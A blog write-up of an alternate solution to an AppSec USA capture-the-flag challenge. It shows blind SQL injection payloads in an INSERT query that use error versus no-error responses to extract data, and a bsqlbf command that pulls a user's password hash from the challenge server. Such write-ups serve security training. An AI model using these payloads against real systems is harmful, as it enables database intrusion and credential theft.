I recently came across the Appsec USA CTF. I must say it was a fantastic CTF and i wish there were more CTFs around application security topics. Well done Appsec team and organizers.
The official write up on how the winners solved the problem can be found here. If you are an appsec personnel then you may want to read the rest of the blog after giving CTF another go.
-------
So, i wish i would have revisited the CTF later and have seen the hints! but anyways, I wanted to share an alternate solution to do the challenge. As it happens, the app has 2 sql injections, one in a select query and another one in Insert query. Obviously, the select query is pretty easy to exploit. Unfortunately, i wasnt clever enough to spot the injection in SELECT query and i worked out the hard way to exploit the insert SQL Injection and you actually don't need the SELECT SQL injection and you can do everything within INSERT...:-)
here is the pseudo code:
INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,injection')
clearly, the magic quote is enabled, but the injection is in integer, so doesn't make much difference. You can use the True and Error scenario to exploit this:
INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end))
--
INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (1=2) then 1 else 1*(select table_name from information_schema.tables)end))
Obviously you replace (1=1)/(1=2) with the boolean question you will ask the mysql server:
so a query like
INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (select substr(@@version,1,1))=5 then 1 else 1*(select table_name from information_schema.tables)end))
will not produce an error but a query like this:
INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (select substr(@@version,1,1))=6 then 1 else 1*(select table_name from information_schema.tables)end))
wil go to the else clause and will generate the following error:
Query failed: Subquery returns more than 1 row
So, now you have a standard true and false scenario and every time you see myql error, you have a false response and when you dont see an error you have a true response.
Using bsqlbf (with one slight modification) you can exploit this injection and obtain the password hash for sales user. The command line options i used were(together with burp running on port 8080):
bsqlbf-2.7pl -url "challenge.appsecusa.org/cart.php?action=purchase&qty1=" -blind qty1 -nomatch "failed" -method POST -database 1 -type 2 -cookie "phpsessionid=xxxxxxxxxxxx" -proxy 127.0.0.1:8080 -sql "select password from users where id=2"
---
Hope it helps..:)